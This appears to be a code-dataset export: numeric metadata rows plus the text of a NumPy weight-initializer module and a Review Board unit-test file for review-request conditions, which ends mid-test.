| 524
| 312
| 54.583969
| 0.831936
| 0.335921
| 0
| 0.780488
| 0
| 0
| 0.316468
| 0.156392
| 0
| 0
| 0
| 0
| 0
| 1
| 0.031359
| false
| 0
| 0.013937
| 0
| 0.090592
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
61c0e7b1dfd9f12efe00b70b7e0544377cfe3963
| 733
|
py
|
Python
|
nnfs/initializers.py
|
tblut/NNFS
|
75320c546043bc74f368a7a6edcd8bb70aa90dc4
|
[
"MIT"
] | null | null | null |
nnfs/initializers.py
|
tblut/NNFS
|
75320c546043bc74f368a7a6edcd8bb70aa90dc4
|
[
"MIT"
] | null | null | null |
nnfs/initializers.py
|
tblut/NNFS
|
75320c546043bc74f368a7a6edcd8bb70aa90dc4
|
[
"MIT"
] | null | null | null |
import numpy as np
def zeros(n_inputs, n_outputs):
return np.zeros((n_inputs, n_outputs))
def ones(n_inputs, n_outputs):
return np.ones((n_inputs, n_outputs))
def glorot_uniform(n_inputs, n_outputs):
x = np.sqrt(6.0 / (n_inputs + n_outputs))
return np.random.uniform(-x, x, (n_inputs, n_outputs))
def glorot_normal(n_inputs, n_outputs):
std = np.sqrt(2.0 / (n_inputs + n_outputs))
return np.random.normal(0.0, std, (n_inputs, n_outputs))
def he_uniform(n_inputs, n_outputs):
x = np.sqrt(6.0 / n_inputs)
return np.random.uniform(-x, x, (n_inputs, n_outputs))
def he_normal(n_inputs, n_outputs):
std = np.sqrt(2.0 / n_inputs)
return np.random.normal(0.0, std, (n_inputs, n_outputs))
| 24.433333
| 60
| 0.686221
| 132
| 733
| 3.55303
| 0.166667
| 0.238806
| 0.238806
| 0.447761
| 0.96162
| 0.884861
| 0.707889
| 0.707889
| 0.673774
| 0.673774
| 0
| 0.019704
| 0.169168
| 733
| 29
| 61
| 25.275862
| 0.750411
| 0
| 0
| 0.235294
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.352941
| false
| 0
| 0.058824
| 0.117647
| 0.764706
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 11
|
61c528bc66bdb157d79650c97142881cd091ebdf
| 47,501
|
py
|
Python
|
reviewboard/reviews/tests/test_conditions.py
|
pombredanne/reviewboard
|
15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d
|
[
"MIT"
] | null | null | null |
reviewboard/reviews/tests/test_conditions.py
|
pombredanne/reviewboard
|
15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d
|
[
"MIT"
] | null | null | null |
reviewboard/reviews/tests/test_conditions.py
|
pombredanne/reviewboard
|
15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d
|
[
"MIT"
] | null | null | null |
import re
from django.contrib.auth.models import User
from django.test.client import RequestFactory
from djblets.conditions import ConditionSet, Condition
from reviewboard.reviews.conditions import (AnyReviewGroupsPublicOperator,
AllReviewGroupsInviteOnlyOperator,
ReviewGroupsChoice,
ReviewRequestAllDiffFilesChoice,
ReviewRequestAnyDiffFileChoice,
ReviewRequestRepositoriesChoice,
ReviewRequestRepositoryTypeChoice,
ReviewRequestReviewGroupsChoice,
ReviewRequestOwnerChoice,
ReviewRequestReviewerChoice,
ReviewRequestParticipantChoice)
from reviewboard.reviews.models import Group
from reviewboard.site.models import LocalSite
from reviewboard.testing import TestCase
class ReviewGroupOperatorTests(TestCase):
"""Unit tests for review group condition operators."""
def test_any_public_with_match(self):
"""Testing AnyReviewGroupsPublicOperator with match"""
self.assertTrue(self._check_match(
AnyReviewGroupsPublicOperator,
[
self.create_review_group(name='group1', invite_only=False),
self.create_review_group(name='group2', invite_only=True),
]))
def test_any_public_without_match(self):
"""Testing AnyReviewGroupsPublicOperator without match"""
self.create_review_group(name='group1', invite_only=False)
private_group = self.create_review_group(name='group2',
invite_only=True)
self.assertFalse(self._check_match(
AnyReviewGroupsPublicOperator,
[private_group]))
self.assertFalse(self._check_match(
AnyReviewGroupsPublicOperator,
[]))
def test_all_invite_only_with_match(self):
"""Testing AllReviewGroupsInviteOnlyOperator with match"""
self.assertTrue(self._check_match(
AllReviewGroupsInviteOnlyOperator,
[
self.create_review_group(name='group1', invite_only=True),
self.create_review_group(name='group2', invite_only=True),
]))
def test_all_invite_only_without_match(self):
"""Testing AllReviewGroupsInviteOnlyOperator without match"""
group1 = self.create_review_group(name='group1', invite_only=False)
group2 = self.create_review_group(name='group2', invite_only=True)
self.assertFalse(self._check_match(
AllReviewGroupsInviteOnlyOperator,
[group1, group2]))
self.assertFalse(self._check_match(
AllReviewGroupsInviteOnlyOperator,
[]))
def _check_match(self, op_cls, match_value, condition_value=None):
op = op_cls(None)
return op.matches(match_value=match_value,
condition_value=condition_value)
class ReviewGroupsChoiceTests(TestCase):
"""Unit tests for reviewboard.reviews.conditions.ReviewGroupsChoice."""
def setUp(self):
super(ReviewGroupsChoiceTests, self).setUp()
self.request = RequestFactory().request()
self.request.user = User.objects.create(username='test-user')
self.choice = ReviewGroupsChoice(request=self.request)
def test_get_queryset(self):
"""Testing ReviewGroupsChoice.get_queryset"""
# These should match.
group1 = self.create_review_group(name='group1')
group2 = self.create_review_group(name='group2')
# These should not match.
self.create_review_group(name='group3',
visible=False)
self.assertQuerysetEqual(
self.choice.get_queryset(),
[group1.pk, group2.pk],
transform=lambda group: group.pk)
def test_get_queryset_with_local_site(self):
"""Testing ReviewGroupsChoice.get_queryset with LocalSite"""
good_site = LocalSite.objects.create(name='good-site')
bad_site = LocalSite.objects.create(name='bad-site')
# These should match.
group1 = self.create_review_group(name='group1',
local_site=good_site)
group2 = self.create_review_group(name='group2',
local_site=good_site)
# These should not match.
self.create_review_group(name='group3')
self.create_review_group(name='group4', local_site=bad_site)
self.create_review_group(name='group5',
local_site=good_site,
visible=False)
self.choice.extra_state['local_site'] = good_site
self.assertQuerysetEqual(
self.choice.get_queryset(),
[group1.pk, group2.pk],
transform=lambda group: group.pk)
def test_get_queryset_with_matching(self):
"""Testing ReviewGroupsChoice.get_queryset with matching=True"""
local_site = LocalSite.objects.create(name='site1')
# These should match.
group1 = self.create_review_group(name='group1')
group2 = self.create_review_group(name='group2')
group3 = self.create_review_group(name='group3',
visible=False)
group4 = self.create_review_group(name='group4',
invite_only=True)
# These should not match.
self.create_review_group(name='group5',
visible=False,
local_site=local_site)
self.choice.extra_state.update({
'local_site': None,
'matching': True,
})
self.assertQuerysetEqual(
self.choice.get_queryset(),
[group1.pk, group2.pk, group3.pk, group4.pk],
transform=lambda group: group.pk)
def test_get_queryset_with_matching_and_local_site(self):
"""Testing ReviewGroupsChoice.get_queryset with matching=True and
LocalSite
"""
good_site = LocalSite.objects.create(name='good-site')
bad_site = LocalSite.objects.create(name='bad-site')
# These should match.
group1 = self.create_review_group(name='group1',
local_site=good_site)
group2 = self.create_review_group(name='group2',
local_site=good_site)
group3 = self.create_review_group(name='group3',
local_site=good_site,
visible=False)
group4 = self.create_review_group(name='group4',
local_site=good_site,
invite_only=True)
# These should not match.
self.create_review_group(name='group5')
self.create_review_group(name='group6', local_site=bad_site)
self.choice.extra_state.update({
'local_site': good_site,
'matching': True,
})
self.assertQuerysetEqual(
self.choice.get_queryset(),
[group1.pk, group2.pk, group3.pk, group4.pk],
transform=lambda group: group.pk)
def test_matches_with_any_op(self):
"""Testing ReviewGroupsChoice.matches with "any" operator"""
self.create_review_group(name='group1', invite_only=False)
self.create_review_group(name='group2', invite_only=True)
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('any')),
])
self.assertTrue(condition_set.matches(
review_groups=Group.objects.all()))
self.assertFalse(condition_set.matches(
review_groups=Group.objects.none()))
def test_matches_with_none_op(self):
"""Testing ReviewGroupsChoice.matches with "none" operator"""
self.create_review_group(name='group1')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('none')),
])
self.assertTrue(condition_set.matches(
review_groups=Group.objects.none()))
self.assertFalse(condition_set.matches(
review_groups=Group.objects.all()))
def test_matches_with_contains_any_op(self):
"""Testing ReviewGroupsChoice.matches with "contains-any" operator"""
group1 = self.create_review_group(name='group1')
group2 = self.create_review_group(name='group2')
group3 = self.create_review_group(name='group3')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('contains-any'),
[group1, group2])
])
self.assertTrue(condition_set.matches(
review_groups=Group.objects.filter(pk=group1.pk)))
self.assertFalse(condition_set.matches(
review_groups=Group.objects.filter(pk=group3.pk)))
self.assertFalse(condition_set.matches(
review_groups=Group.objects.none()))
def test_matches_with_does_not_contain_any_op(self):
"""Testing ReviewGroupsChoice.matches with "does-not-contain-any"
operator
"""
group1 = self.create_review_group(name='group1')
group2 = self.create_review_group(name='group2')
group3 = self.create_review_group(name='group3')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-contain-any'),
[group1, group2])
])
self.assertFalse(condition_set.matches(
review_groups=Group.objects.filter(pk=group1.pk)))
self.assertTrue(condition_set.matches(
review_groups=Group.objects.filter(pk=group3.pk)))
self.assertTrue(condition_set.matches(
review_groups=Group.objects.none()))
def test_matches_with_any_public_op(self):
"""Testing ReviewGroupsChoice.matches with "any-public" operator"""
group1 = self.create_review_group(name='group1', invite_only=False)
group2 = self.create_review_group(name='group2', invite_only=True)
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('any-public')),
])
self.assertTrue(condition_set.matches(
review_groups=Group.objects.filter(pk=group1.pk)))
self.assertFalse(condition_set.matches(
review_groups=Group.objects.filter(pk=group2.pk)))
self.assertFalse(condition_set.matches(
review_groups=Group.objects.none()))
def test_matches_with_all_invite_only_op(self):
"""Testing ReviewGroupsChoice.matches with "all-invite-only" operator
"""
group1 = self.create_review_group(name='group1', invite_only=True)
group2 = self.create_review_group(name='group2', invite_only=False)
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('all-invite-only')),
])
self.assertTrue(condition_set.matches(
review_groups=Group.objects.filter(pk=group1.pk)))
self.assertFalse(condition_set.matches(
review_groups=Group.objects.filter(pk=group2.pk)))
self.assertFalse(condition_set.matches(
review_groups=Group.objects.none()))
class ReviewRequestAllDiffFilesChoiceTests(TestCase):
"""Unit tests for ReviewRequestAllDiffFilesChoice."""
fixtures = ['test_scmtools', 'test_users']
def setUp(self):
super(ReviewRequestAllDiffFilesChoiceTests, self).setUp()
self.choice = ReviewRequestAllDiffFilesChoice()
self.review_request = self.create_review_request(
create_repository=True,
publish=True)
diffset = self.create_diffset(self.review_request)
self.filediff1 = self.create_filediff(diffset, source_file='file1',
dest_file='file1')
self.filediff2 = self.create_filediff(diffset, source_file='file2',
dest_file='file2')
def test_get_match_value(self):
"""Testing ReviewRequestAllDiffFilesChoice.get_match_value"""
self.assertEqual(self.choice.get_match_value(self.review_request, {}),
{'file1', 'file2'})
def test_matches_with_is_op(self):
"""Testing ReviewRequestAllDiffFilesChoice.matches with "is" operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('is'), 'file1'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
self.filediff2.delete()
self.assertTrue(condition_set.matches(
review_request=self.review_request))
def test_matches_with_is_not_op(self):
"""Testing ReviewRequestAllDiffFilesChoice.matches with "is-not"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('is-not'),
'fileX'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('is-not'),
'file1'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_contains_op(self):
"""Testing ReviewRequestAllDiffFilesChoice.matches with "contains"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('contains'),
'file'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('contains'),
'1'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_does_not_contain_op(self):
"""Testing ReviewRequestAllDiffFilesChoice.matches with
"does-not-contain" operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-contain'),
'3'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-contain'),
'ile1'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_starts_with_op(self):
"""Testing ReviewRequestAllDiffFilesChoice.matches with "starts-with"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('starts-with'),
'file'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('starts-with'),
'file1'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_ends_with_op(self):
"""Testing ReviewRequestAllDiffFilesChoice.matches with "ends-with"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('ends-with'),
'le1'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
self.filediff2.delete()
self.assertTrue(condition_set.matches(
review_request=self.review_request))
def test_matches_with_matches_regex_op(self):
"""Testing ReviewRequestAllDiffFilesChoice.matches with "matches-regex"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('matches-regex'),
re.compile(r'^[Ff]ile\d$')),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('matches-regex'),
re.compile('^[Ff]ile1$')),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_does_not_match_regex_op(self):
"""Testing ReviewRequestAllDiffFilesChoice.matches with
"does-not-match-regex" operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-match-regex'),
re.compile(r'^[Ff]ile3$')),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-match-regex'),
re.compile('[Ff]ile1')),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
class ReviewRequestAnyDiffFileChoiceTests(TestCase):
"""Unit tests for ReviewRequestAnyDiffFileChoice."""
fixtures = ['test_scmtools', 'test_users']
def setUp(self):
super(ReviewRequestAnyDiffFileChoiceTests, self).setUp()
self.choice = ReviewRequestAnyDiffFileChoice()
self.review_request = self.create_review_request(
create_repository=True,
publish=True)
diffset = self.create_diffset(self.review_request)
self.filediff1 = self.create_filediff(diffset, source_file='file1',
dest_file='file1')
self.filediff2 = self.create_filediff(diffset, source_file='file2',
dest_file='file2')
def test_get_match_value(self):
"""Testing ReviewRequestAnyDiffFileChoice.get_match_value"""
self.assertEqual(self.choice.get_match_value(self.review_request, {}),
{'file1', 'file2'})
def test_matches_with_is_op(self):
"""Testing ReviewRequestAnyDiffFileChoice.matches with "is" operator"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('is'), 'file2'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('is'), 'fileX'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_is_not_op(self):
"""Testing ReviewRequestAnyDiffFileChoice.matches with "is-not"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('is-not'),
'fileX'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('is-not'),
'file1'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
self.filediff2.delete()
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_contains_op(self):
"""Testing ReviewRequestAnyDiffFileChoice.matches with "contains"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('contains'),
'1'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('contains'),
'3'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_does_not_contain_op(self):
"""Testing ReviewRequestAnyDiffFileChoice.matches with
"does-not-contain" operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-contain'),
'xyz'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-contain'),
'file'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_starts_with_op(self):
"""Testing ReviewRequestAnyDiffFileChoice.matches with "starts-with"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('starts-with'),
'file'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('starts-with'),
'ile'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_ends_with_op(self):
"""Testing ReviewRequestAnyDiffFileChoice.matches with "ends-with"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('ends-with'),
'le1'),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('ends-with'),
'xyz'),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_matches_regex_op(self):
"""Testing ReviewRequestAnyDiffFileChoice.matches with "matches-regex"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('matches-regex'),
re.compile(r'^[Ff]ile1$')),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('matches-regex'),
re.compile('^\d')),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
def test_matches_with_does_not_match_regex_op(self):
"""Testing ReviewRequestAnyDiffFileChoice.matches with
"does-not-match-regex" operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-match-regex'),
re.compile(r'^\d')),
])
self.assertTrue(condition_set.matches(
review_request=self.review_request))
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-match-regex'),
re.compile('[Ff]ile\d')),
])
self.assertFalse(condition_set.matches(
review_request=self.review_request))
class ReviewRequestRepositoriesChoiceTests(TestCase):
"""Unit tests for ReviewRequestRepositoriesChoice."""
fixtures = ['test_scmtools', 'test_users']
def setUp(self):
super(ReviewRequestRepositoriesChoiceTests, self).setUp()
self.choice = ReviewRequestRepositoriesChoice()
def test_matches_with_any_op(self):
"""Testing ReviewRequestRepositoriesChoice.matches with "any" operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('any')),
])
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(create_repository=True)))
self.assertFalse(condition_set.matches(
review_request=self.create_review_request()))
def test_matches_with_none_op(self):
"""Testing ReviewRequestRepositoriesChoice.matches with "none" operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('none')),
])
self.assertTrue(condition_set.matches(
review_request=self.create_review_request()))
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(create_repository=True)))
def test_matches_with_one_of_op(self):
"""Testing ReviewRequestRepositoriesChoice.matches with "one-of"
operator
"""
repository1 = self.create_repository(name='repo1')
repository2 = self.create_repository(name='repo2')
repository3 = self.create_repository(name='repo3')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('one-of'),
[repository1, repository2])
])
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(repository=repository1)))
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(repository=repository2)))
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(repository=repository3)))
def test_matches_with_not_one_of_op(self):
"""Testing ReviewRequestRepositoriesChoice.matches with "not-one-of"
operator
"""
repository1 = self.create_repository(name='repo1')
repository2 = self.create_repository(name='repo2')
repository3 = self.create_repository(name='repo3')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('not-one-of'),
[repository1, repository2])
])
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(repository=repository1)))
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(repository=repository2)))
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(repository=repository3)))
def test_matches_with_is_public_op(self):
"""Testing ReviewRequestRepositoriesChoice.matches with "is-public"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('is-public')),
])
public_repo = self.create_repository(name='repo1', public=True)
private_repo = self.create_repository(name='repo2', public=False)
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(repository=public_repo)))
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(
repository=private_repo)))
def test_matches_with_is_private_op(self):
"""Testing ReviewRequestRepositoriesChoice.matches with "is-private"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('is-private')),
])
public_repo = self.create_repository(name='repo1', public=True)
private_repo = self.create_repository(name='repo2', public=False)
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(
repository=private_repo)))
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(repository=public_repo)))
class ReviewRequestRepositoryTypeChoiceTests(TestCase):
"""Unit tests for ReviewRequestRepositoryTypeChoice."""
fixtures = ['test_scmtools', 'test_users']
def setUp(self):
super(ReviewRequestRepositoryTypeChoiceTests, self).setUp()
self.choice = ReviewRequestRepositoryTypeChoice()
def test_matches_with_one_of_op(self):
"""Testing ReviewRequestRepositoryTypeChoice.matches with "one-of"
operator
"""
repository1 = self.create_repository(name='repo1',
tool_name='Git')
repository2 = self.create_repository(name='repo2',
tool_name='Subversion')
repository3 = self.create_repository(name='repo3',
tool_name='CVS')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('one-of'),
[repository1.tool, repository2.tool])
])
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(repository=repository1)))
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(repository=repository2)))
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(repository=repository3)))
def test_matches_with_not_one_of_op(self):
"""Testing ReviewRequestRepositoryTypeChoice.matches with "not-one-of"
operator
"""
repository1 = self.create_repository(name='repo1',
tool_name='Git')
repository2 = self.create_repository(name='repo2',
tool_name='Subversion')
repository3 = self.create_repository(name='repo3',
tool_name='CVS')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('not-one-of'),
[repository1.tool, repository2.tool])
])
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(repository=repository1)))
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(repository=repository2)))
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(repository=repository3)))
class ReviewRequestReviewGroupsChoiceTests(TestCase):
"""Unit tests for ReviewRequestReviewGroupsChoice."""
fixtures = ['test_users']
def setUp(self):
super(ReviewRequestReviewGroupsChoiceTests, self).setUp()
self.request = RequestFactory().request()
self.request.user = User.objects.create(username='test-user')
self.choice = ReviewRequestReviewGroupsChoice(request=self.request)
def test_get_queryset(self):
"""Testing ReviewGroupsChoice.get_queryset"""
group1 = self.create_review_group(name='group1')
group2 = self.create_review_group(name='group2')
self.assertQuerysetEqual(
self.choice.get_queryset(),
[group1.pk, group2.pk],
transform=lambda group: group.pk)
def test_get_queryset_with_local_site(self):
"""Testing ReviewGroupsChoice.get_queryset with LocalSite"""
good_site = LocalSite.objects.create(name='good-site')
bad_site = LocalSite.objects.create(name='bad-site')
# These should match.
group1 = self.create_review_group(name='group1',
local_site=good_site)
group2 = self.create_review_group(name='group2',
local_site=good_site)
# These should not match.
self.create_review_group(name='group3')
self.create_review_group(name='group4', local_site=bad_site)
self.choice.extra_state['local_site'] = good_site
self.assertQuerysetEqual(
self.choice.get_queryset(),
[group1.pk, group2.pk],
transform=lambda group: group.pk)
def test_matches_with_any_op(self):
"""Testing ReviewRequestReviewGroupsChoice.matches with "any" operator
"""
group = self.create_review_group(name='group1')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('any')),
])
review_request = self.create_review_request()
review_request.target_groups = [group]
self.assertTrue(condition_set.matches(review_request=review_request))
review_request.target_groups = []
self.assertFalse(condition_set.matches(review_request=review_request))
def test_matches_with_none_op(self):
"""Testing ReviewRequestReviewGroupsChoice.matches with "none" operator
"""
group = self.create_review_group(name='group1')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('none')),
])
review_request = self.create_review_request()
self.assertTrue(condition_set.matches(review_request=review_request))
review_request.target_groups = [group]
self.assertFalse(condition_set.matches(review_request=review_request))
def test_matches_with_contains_any_op(self):
"""Testing ReviewRequestReviewGroupsChoice.matches with "contains-any"
operator
"""
group1 = self.create_review_group(name='group1')
group2 = self.create_review_group(name='group2')
group3 = self.create_review_group(name='group2')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('contains-any'),
[group1, group2]),
])
review_request = self.create_review_request()
review_request.target_groups = [group2]
self.assertTrue(condition_set.matches(review_request=review_request))
review_request.target_groups = [group3]
self.assertFalse(condition_set.matches(review_request=review_request))
review_request.target_groups = []
self.assertFalse(condition_set.matches(review_request=review_request))
def test_matches_with_does_not_contain_any_op(self):
"""Testing ReviewRequestReviewGroupsChoice.matches with
"does-not-contain-any" operator
"""
group1 = self.create_review_group(name='group1')
group2 = self.create_review_group(name='group2')
group3 = self.create_review_group(name='group3')
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-contain-any'),
[group1, group2])
])
review_request = self.create_review_request()
self.assertTrue(condition_set.matches(review_request=review_request))
review_request.target_groups = [group3]
self.assertTrue(condition_set.matches(review_request=review_request))
review_request.target_groups = [group1]
self.assertFalse(condition_set.matches(review_request=review_request))
def test_matches_with_any_public_op(self):
"""Testing ReviewRequestReviewGroupsChoice.matches with "any-public"
operator"""
group1 = self.create_review_group(name='group1', invite_only=False)
group2 = self.create_review_group(name='group2', invite_only=True)
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice, self.choice.get_operator('any-public')),
])
review_request = self.create_review_request()
review_request.target_groups = [group1]
self.assertTrue(condition_set.matches(review_request=review_request))
review_request.target_groups = [group2]
self.assertFalse(condition_set.matches(review_request=review_request))
review_request.target_groups = []
self.assertFalse(condition_set.matches(review_request=review_request))
def test_matches_with_all_invite_only_op(self):
"""Testing ReviewRequestReviewGroupsChoice.matches with
"all-invite-only" operator
"""
group1 = self.create_review_group(name='group1', invite_only=True)
group2 = self.create_review_group(name='group2', invite_only=False)
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('all-invite-only')),
])
review_request = self.create_review_request()
review_request.target_groups = [group1]
self.assertTrue(condition_set.matches(review_request=review_request))
review_request.target_groups = [group2]
self.assertFalse(condition_set.matches(review_request=review_request))
review_request.target_groups = []
self.assertFalse(condition_set.matches(review_request=review_request))
class ReviewRequestOwnerChoiceTests(TestCase):
"""Unit tests for ReviewRequestOwnerChoice."""
fixtures = ['test_users']
def setUp(self):
super(ReviewRequestOwnerChoiceTests, self).setUp()
self.choice = ReviewRequestOwnerChoice()
self.user1 = User.objects.get(username='doc')
self.user2 = User.objects.get(username='grumpy')
self.user3 = User.objects.get(username='dopey')
def test_get_queryset(self):
"""Testing ReviewRequestOwnerChoice.get_queryset"""
self.assertQuerysetEqual(
self.choice.get_queryset(),
User.objects.values_list('pk', flat=True),
transform=lambda user: user.pk)
def test_get_queryset_with_local_site(self):
"""Testing ReviewRequestOwnerChoice.get_queryset with LocalSite"""
good_site = LocalSite.objects.create(name='good-site')
good_site.users.add(self.user2)
bad_site = LocalSite.objects.create(name='bad-site')
bad_site.users.add(self.user3)
self.choice.extra_state['local_site'] = good_site
self.assertQuerysetEqual(
self.choice.get_queryset(),
[self.user2.pk],
